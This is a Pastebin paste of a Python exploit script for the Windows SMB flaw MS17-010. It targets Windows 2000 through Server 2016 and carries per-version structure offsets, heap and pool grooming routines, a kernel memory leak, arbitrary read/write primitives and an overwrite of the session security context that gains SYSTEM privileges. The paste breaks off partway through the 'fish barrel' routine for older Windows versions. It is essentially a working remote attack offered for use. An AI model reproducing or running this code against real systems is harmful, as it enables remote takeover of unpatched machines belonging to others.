Advertisement
Guest User

exploit.py

a guest
Jul 25th, 2018
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.42 KB | None | 0 0
  1. #!/usr/bin/python
  2. from impacket import smb, smbconnection
  3. from mysmb import MYSMB
  4. from struct import pack, unpack, unpack_from
  5. import sys
  6. import socket
  7. import time
  8.  
  9. '''
  10. MS17-010 exploit for Windows 2000 and later by sleepya
  11. Note:
  12. - The exploit should never crash a target (chance should be nearly 0%)
  13. - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
  14. Tested on:
  15. - Windows 2016 x64
  16. - Windows 10 Pro Build 10240 x64
  17. - Windows 2012 R2 x64
  18. - Windows 8.1 x64
  19. - Windows 2008 R2 SP1 x64
  20. - Windows 7 SP1 x64
  21. - Windows 2008 SP1 x64
  22. - Windows 2003 R2 SP2 x64
  23. - Windows XP SP2 x64
  24. - Windows 8.1 x86
  25. - Windows 7 SP1 x86
  26. - Windows 2008 SP1 x86
  27. - Windows 2003 SP2 x86
  28. - Windows XP SP3 x86
  29. - Windows 2000 SP4 x86
  30. '''
  31.  
  32. USERNAME = ''
  33. PASSWORD = ''
  34.  
  35. '''
  36. A transaction with empty setup:
  37. - it is allocated from paged pool (same as other transaction types) on Windows 7 and later
  38. - it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
  39. - no lookaside or caching method for allocating it
  40. Note: method name is from NSA eternalromance
  41. For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
  42. for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
  43. alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.
  44. For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
  45. smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
  46. a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
  47. Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
  48. in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
  49. of this method is we cannot do information leak to verify transactions alignment before OOB write.
  50. So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.
  51. '''
  52.  
  53. '''
  54. Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
  55. win7 x64
  56. struct SrvSecContext {
  57. DWORD xx1; // second WORD is size
  58. DWORD refCnt;
  59. PACCESS_TOKEN Token; // 0x08
  60. DWORD xx2;
  61. BOOLEAN CopyOnOpen; // 0x14
  62. BOOLEAN EffectiveOnly;
  63. WORD xx3;
  64. DWORD ImpersonationLevel; // 0x18
  65. DWORD xx4;
  66. BOOLEAN UsePsImpersonateClient; // 0x20
  67. }
  68. win2012 x64
  69. struct SrvSecContext {
  70. DWORD xx1; // second WORD is size
  71. DWORD refCnt;
  72. QWORD xx2;
  73. QWORD xx3;
  74. PACCESS_TOKEN Token; // 0x18
  75. DWORD xx4;
  76. BOOLEAN CopyOnOpen; // 0x24
  77. BOOLEAN EffectiveOnly;
  78. WORD xx3;
  79. DWORD ImpersonationLevel; // 0x28
  80. DWORD xx4;
  81. BOOLEAN UsePsImpersonateClient; // 0x30
  82. }
  83. SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
  84. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
  85. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
  86. PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
  87. STATUS_SUCCESS when Token is NULL.
  88. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
  89. to do all SMB operations.
  90. Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
  91. ImpersonateSecurityContext() is used in these Windows versions.
  92. '''
  93. ###########################
  94. # info for modify session security context
  95. ###########################
  96. WIN7_64_SESSION_INFO = {
  97. 'SESSION_SECCTX_OFFSET': 0xa0,
  98. 'SESSION_ISNULL_OFFSET': 0xba,
  99. 'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
  100. 'SECCTX_SIZE': 0x28,
  101. }
  102.  
  103. WIN7_32_SESSION_INFO = {
  104. 'SESSION_SECCTX_OFFSET': 0x80,
  105. 'SESSION_ISNULL_OFFSET': 0x96,
  106. 'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
  107. 'SECCTX_SIZE': 0x1c,
  108. }
  109.  
  110. # win8+ info
  111. WIN8_64_SESSION_INFO = {
  112. 'SESSION_SECCTX_OFFSET': 0xb0,
  113. 'SESSION_ISNULL_OFFSET': 0xca,
  114. 'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
  115. 'SECCTX_SIZE': 0x38,
  116. }
  117.  
  118. WIN8_32_SESSION_INFO = {
  119. 'SESSION_SECCTX_OFFSET': 0x88,
  120. 'SESSION_ISNULL_OFFSET': 0x9e,
  121. 'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
  122. 'SECCTX_SIZE': 0x24,
  123. }
  124.  
  125. # win 2003 (xp 64 bit is win 2003)
  126. WIN2K3_64_SESSION_INFO = {
  127. 'SESSION_ISNULL_OFFSET': 0xba,
  128. 'SESSION_SECCTX_OFFSET': 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
  129. 'SECCTX_PCTXTHANDLE_OFFSET': 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
  130. 'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
  131. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
  132. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
  133. }
  134.  
  135. WIN2K3_32_SESSION_INFO = {
  136. 'SESSION_ISNULL_OFFSET': 0x96,
  137. 'SESSION_SECCTX_OFFSET': 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
  138. 'SECCTX_PCTXTHANDLE_OFFSET': 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
  139. 'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
  140. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
  141. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
  142. }
  143.  
  144. # win xp
  145. WINXP_32_SESSION_INFO = {
  146. 'SESSION_ISNULL_OFFSET': 0x94,
  147. 'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
  148. 'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
  149. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
  150. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
  151. 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
  152. 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
  153. }
  154.  
  155. WIN2K_32_SESSION_INFO = {
  156. 'SESSION_ISNULL_OFFSET': 0x94,
  157. 'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
  158. 'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
  159. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
  160. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
  161. }
  162.  
  163. ###########################
  164. # info for exploitation
  165. ###########################
  166. # for windows 2008+
  167. WIN7_32_TRANS_INFO = {
  168. 'TRANS_SIZE' : 0xa0, # struct size
  169. 'TRANS_FLINK_OFFSET' : 0x18,
  170. 'TRANS_INPARAM_OFFSET' : 0x40,
  171. 'TRANS_OUTPARAM_OFFSET' : 0x44,
  172. 'TRANS_INDATA_OFFSET' : 0x48,
  173. 'TRANS_OUTDATA_OFFSET' : 0x4c,
  174. 'TRANS_PARAMCNT_OFFSET' : 0x58,
  175. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
  176. 'TRANS_FUNCTION_OFFSET' : 0x72,
  177. 'TRANS_MID_OFFSET' : 0x80,
  178. }
  179.  
  180. WIN7_64_TRANS_INFO = {
  181. 'TRANS_SIZE' : 0xf8, # struct size
  182. 'TRANS_FLINK_OFFSET' : 0x28,
  183. 'TRANS_INPARAM_OFFSET' : 0x70,
  184. 'TRANS_OUTPARAM_OFFSET' : 0x78,
  185. 'TRANS_INDATA_OFFSET' : 0x80,
  186. 'TRANS_OUTDATA_OFFSET' : 0x88,
  187. 'TRANS_PARAMCNT_OFFSET' : 0x98,
  188. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
  189. 'TRANS_FUNCTION_OFFSET' : 0xb2,
  190. 'TRANS_MID_OFFSET' : 0xc0,
  191. }
  192.  
  193. WIN5_32_TRANS_INFO = {
  194. 'TRANS_SIZE' : 0x98, # struct size
  195. 'TRANS_FLINK_OFFSET' : 0x18,
  196. 'TRANS_INPARAM_OFFSET' : 0x3c,
  197. 'TRANS_OUTPARAM_OFFSET' : 0x40,
  198. 'TRANS_INDATA_OFFSET' : 0x44,
  199. 'TRANS_OUTDATA_OFFSET' : 0x48,
  200. 'TRANS_PARAMCNT_OFFSET' : 0x54,
  201. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
  202. 'TRANS_FUNCTION_OFFSET' : 0x6e,
  203. 'TRANS_PID_OFFSET' : 0x78,
  204. 'TRANS_MID_OFFSET' : 0x7c,
  205. }
  206.  
  207. WIN5_64_TRANS_INFO = {
  208. 'TRANS_SIZE' : 0xe0, # struct size
  209. 'TRANS_FLINK_OFFSET' : 0x28,
  210. 'TRANS_INPARAM_OFFSET' : 0x68,
  211. 'TRANS_OUTPARAM_OFFSET' : 0x70,
  212. 'TRANS_INDATA_OFFSET' : 0x78,
  213. 'TRANS_OUTDATA_OFFSET' : 0x80,
  214. 'TRANS_PARAMCNT_OFFSET' : 0x90,
  215. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
  216. 'TRANS_FUNCTION_OFFSET' : 0xaa,
  217. 'TRANS_PID_OFFSET' : 0xb4,
  218. 'TRANS_MID_OFFSET' : 0xb8,
  219. }
  220.  
  221. X86_INFO = {
  222. 'ARCH' : 'x86',
  223. 'PTR_SIZE' : 4,
  224. 'PTR_FMT' : 'I',
  225. 'FRAG_TAG_OFFSET' : 12,
  226. 'POOL_ALIGN' : 8,
  227. 'SRV_BUFHDR_SIZE' : 8,
  228. }
  229.  
  230. X64_INFO = {
  231. 'ARCH' : 'x64',
  232. 'PTR_SIZE' : 8,
  233. 'PTR_FMT' : 'Q',
  234. 'FRAG_TAG_OFFSET' : 0x14,
  235. 'POOL_ALIGN' : 0x10,
  236. 'SRV_BUFHDR_SIZE' : 0x10,
  237. }
  238.  
  239. def merge_dicts(*dict_args):
  240. result = {}
  241. for dictionary in dict_args:
  242. result.update(dictionary)
  243. return result
  244.  
  245. OS_ARCH_INFO = {
  246. # for Windows Vista, 2008, 7 and 2008 R2
  247. 'WIN7': {
  248. 'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
  249. 'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
  250. },
  251. # for Windows 8 and later
  252. 'WIN8': {
  253. 'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
  254. 'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
  255. },
  256. 'WINXP': {
  257. 'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
  258. 'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
  259. },
  260. 'WIN2K3': {
  261. 'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
  262. 'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
  263. },
  264. 'WIN2K': {
  265. 'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
  266. },
  267. }
  268.  
  269.  
  270. TRANS_NAME_LEN = 4
  271. HEAP_HDR_SIZE = 8 # heap chunk header size
  272.  
  273.  
  274. def calc_alloc_size(size, align_size):
  275. return (size + align_size - 1) & ~(align_size-1)
  276.  
  277. def wait_for_request_processed(conn):
  278. #time.sleep(0.05)
  279. # send echo is faster than sleep(0.05) when connection is very good
  280. conn.send_echo('a')
  281.  
  282. def find_named_pipe(conn):
  283. pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
  284.  
  285. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  286. found_pipe = None
  287. for pipe in pipes:
  288. try:
  289. fid = conn.nt_create_andx(tid, pipe)
  290. conn.close(tid, fid)
  291. found_pipe = pipe
  292. break
  293. except smb.SessionError as e:
  294. pass
  295.  
  296. conn.disconnect_tree(tid)
  297. return found_pipe
  298.  
  299.  
  300. special_mid = 0
  301. extra_last_mid = 0
  302. def reset_extra_mid(conn):
  303. global extra_last_mid, special_mid
  304. special_mid = (conn.next_mid() & 0xff00) - 0x100
  305. extra_last_mid = special_mid
  306.  
  307. def next_extra_mid():
  308. global extra_last_mid
  309. extra_last_mid += 1
  310. return extra_last_mid
  311.  
  312.  
  313. # Borrow 'groom' and 'bride' word from NSA tool
  314. # GROOM_TRANS_SIZE includes transaction name, parameters and data
  315. # Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
  316. GROOM_TRANS_SIZE = 0x5010
  317.  
  318. def leak_frag_size(conn, tid, fid):
  319. # this method can be used on Windows Vista/2008 and later
  320. # leak "Frag" pool size and determine target architecture
  321. info = {}
  322.  
  323. # A "Frag" pool is placed after the large pool allocation if last page has some free space left.
  324. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
  325. # To make exploit more generic, exploit does info leak to find a "Frag" pool size.
  326. # From the leak info, we can determine the target architecture too.
  327. mid = conn.next_mid()
  328. req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
  329. req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
  330.  
  331. conn.send_raw(req1[:-8])
  332. conn.send_raw(req1[-8:]+req2)
  333. leakData = conn.recv_transaction_data(mid, 0x10d0+276)
  334. leakData = leakData[0x10d4:] # skip parameters and its own input
  335. # Detect target architecture and calculate frag pool size
  336. if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
  337. print('Target is 32 bit')
  338. info['arch'] = 'x86'
  339. info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
  340. elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
  341. print('Target is 64 bit')
  342. info['arch'] = 'x64'
  343. info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
  344. else:
  345. print('Not found Frag pool tag in leak data')
  346. sys.exit()
  347.  
  348. print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
  349. return info
  350.  
  351.  
  352. def read_data(conn, info, read_addr, read_size):
  353. fmt = info['PTR_FMT']
  354. # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
  355. # modify trans2.*ParameterCount and trans2.*DataCount to limit data
  356. new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData
  357. new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
  358. new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount
  359. new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
  360. new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
  361. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
  362.  
  363. # create one more transaction before leaking data
  364. # - next transaction can be used for arbitrary read/write after the current trans2 is done
  365. # - next transaction address is from TransactionListEntry.Flink value
  366. conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
  367.  
  368. # finish the trans2 to leak
  369. conn.send_nt_trans_secondary(mid=info['trans2_mid'])
  370. read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
  371.  
  372. # set new trans2 address
  373. info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
  374.  
  375. # set trans1.InData to &trans2
  376. conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
  377. wait_for_request_processed(conn)
  378.  
  379. # modify trans2 mid
  380. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
  381. wait_for_request_processed(conn)
  382.  
  383. return read_data[8:] # no need to return parameter
  384.  
  385. def write_data(conn, info, write_addr, write_data):
  386. # trans2.InData
  387. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
  388. wait_for_request_processed(conn)
  389.  
  390. # write data
  391. conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
  392. wait_for_request_processed(conn)
  393.  
  394.  
  395. def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
  396. trans_param = pack('<HH', fid, 0) # param for NT_RENAME
  397. # fill large pagedpool holes (maybe no need)
  398. for i in range(numFill):
  399. conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
  400.  
  401. mid_ntrename = conn.next_mid()
  402. # first GROOM, for leaking next BRIDE transaction
  403. req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
  404. req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
  405. # second GROOM, for controlling next BRIDE transaction
  406. req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
  407. # many BRIDEs, expect two of them are allocated at splitted pool from GROOM
  408. reqs = []
  409. for i in range(12):
  410. mid = next_extra_mid()
  411. reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
  412.  
  413. conn.send_raw(req1[:-8])
  414. conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
  415.  
  416. # expected transactions alignment ("Frag" pool is not shown)
  417. #
  418. # | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
  419. # +-------------------------------+----------------+-------------------------------+----------------+
  420. # | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
  421. # +-------------------------------+----------------+-------------------------------+----------------+
  422. #
  423. # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
  424. # From leaked transaction, we get
  425. # - leaked transaction address from InParameter or InData
  426. # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
  427. # With these information, we can verify the transaction aligment from displacement.
  428.  
  429. leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
  430. leakData = leakData[0x10d4:] # skip parameters and its own input
  431. #open('leak.dat', 'wb').write(leakData)
  432.  
  433. if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
  434. print('Not found Frag pool tag in leak data')
  435. return None
  436.  
  437. # ================================
  438. # verify leak data
  439. # ================================
  440. leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
  441. # check pool tag and size value in buffer header
  442. expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
  443. leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
  444. if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
  445. print('No transaction struct in leak data')
  446. return None
  447.  
  448. leakTrans = leakData[leakTransOffset:]
  449.  
  450. ptrf = info['PTR_FMT']
  451. _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
  452. inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
  453. leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
  454.  
  455. print('CONNECTION: 0x{:x}'.format(connection_addr))
  456. print('SESSION: 0x{:x}'.format(session_addr))
  457. print('FLINK: 0x{:x}'.format(flink_value))
  458. print('InParam: 0x{:x}'.format(inparam_value))
  459. print('MID: 0x{:x}'.format(leak_mid))
  460.  
  461. next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
  462. if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
  463. print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
  464. return None
  465. # trans1: leak transaction
  466. # trans2: next transaction
  467. return {
  468. 'connection': connection_addr,
  469. 'session': session_addr,
  470. 'next_page_addr': next_page_addr,
  471. 'trans1_mid': leak_mid,
  472. 'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
  473. 'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
  474. }
  475.  
  476. def exploit_matched_pairs(conn, pipe_name, info):
  477. # for Windows 7/2008 R2 and later
  478.  
  479. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  480. conn.set_default_tid(tid)
  481. # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
  482. fid = conn.nt_create_andx(tid, pipe_name)
  483.  
  484. info.update(leak_frag_size(conn, tid, fid))
  485. # add os and arch specific exploit info
  486. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  487.  
  488. # groom: srv buffer header
  489. info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
  490. print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
  491. # groom paramters and data is alignment by 8 because it is NT_TRANS
  492. info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE'] # alignment (4)
  493.  
  494. # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
  495. bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
  496. info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
  497. print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
  498. # bride paramters and data is alignment by 4 because it is TRANS
  499. info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
  500.  
  501. # ================================
  502. # try align pagedpool and leak info until satisfy
  503. # ================================
  504. leakInfo = None
  505. # max attempt: 10
  506. for i in range(10):
  507. reset_extra_mid(conn)
  508. leakInfo = align_transaction_and_leak(conn, tid, fid, info)
  509. if leakInfo is not None:
  510. break
  511. print('leak failed... try again')
  512. conn.close(tid, fid)
  513. conn.disconnect_tree(tid)
  514.  
  515. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  516. conn.set_default_tid(tid)
  517. fid = conn.nt_create_andx(tid, pipe_name)
  518.  
  519. if leakInfo is None:
  520. return False
  521.  
  522. info['fid'] = fid
  523. info.update(leakInfo)
  524.  
  525. # ================================
  526. # shift transGroom.Indata ptr with SmbWriteAndX
  527. # ================================
  528. shift_indata_byte = 0x200
  529. conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
  530.  
  531. # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
  532. # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
  533. # maxParameterCount (0x1000), trans name (4), param (4)
  534. indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
  535. indata_next_trans_displacement = info['trans2_addr'] - indata_value
  536. conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
  537. wait_for_request_processed(conn)
  538.  
  539. # if the overwritten is correct, a modified transaction mid should be special_mid now.
  540. # a new transaction with special_mid should be error.
  541. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
  542. if recvPkt.getNTStatus() != 0x10002: # invalid SMB
  543. print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
  544. print('!!! Write to wrong place !!!')
  545. print('the target might be crashed')
  546. return False
  547.  
  548. print('success controlling groom transaction')
  549.  
  550. # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
  551. # but this method make the transation never get freed
  552. # I will avoid memory leak
  553.  
  554. # ================================
  555. # modify trans1 struct to be used for arbitrary read/write
  556. # ================================
  557. print('modify trans1 struct for arbitrary read/write')
  558. fmt = info['PTR_FMT']
  559. # use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
  560. conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
  561. wait_for_request_processed(conn)
  562.  
  563. # modify
  564. # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
  565. # - trans1.InData to &trans2. so we can modify trans2 with trans1 data
  566. conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
  567. wait_for_request_processed(conn)
  568.  
  569. # modify trans2.mid
  570. info['trans2_mid'] = conn.next_mid()
  571. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
  572. return True
  573.  
  574. def exploit_fish_barrel(conn, pipe_name, info):
  575. # for Windows Vista/2008 and earlier
  576.  
  577. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  578. conn.set_default_tid(tid)
  579. # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
  580. fid = conn.nt_create_andx(tid, pipe_name)
  581. info['fid'] = fid
  582.  
  583. if info['os'] == 'WIN7' and 'arch' not in info:
  584. # leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
  585. info.update(leak_frag_size(conn, tid, fid))
  586.  
  587. if 'arch' in info:
  588. # add os and arch specific exploit info
  589. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  590. attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
  591. else:
  592. # do not know target architecture
  593. # this case is only for Windows 2003
  594. # try offset of 64 bit then 32 bit because no target architecture
  595. attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
  596.  
  597. # ================================
  598. # groom packets
  599. # ================================
  600. # sum of transaction name, parameters and data length is 0x1000
  601. # paramterCount = 0x100-TRANS_NAME_LEN
  602. print('Groom packets')
  603. trans_param = pack('<HH', info['fid'], 0)
  604. for i in range(12):
  605. mid = info['fid'] if i == 8 else next_extra_mid()
  606. conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
  607.  
  608. # expected transactions alignment
  609. #
  610. # +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
  611. # | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
  612. # +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
  613. # trans1 trans2
  614.  
  615. # ================================
  616. # shift transaction Indata ptr with SmbWriteAndX
  617. # ================================
  618. shift_indata_byte = 0x200
  619. conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
  620.  
  621. # ================================
  622. # Dangerous operation: attempt to control one transaction
  623. # ================================
  624. # Note: POOL_ALIGN value is same as heap alignment value
  625. success = False
  626. for tinfo in attempt_list:
  627. print('attempt controlling next transaction on ' + tinfo['ARCH'])
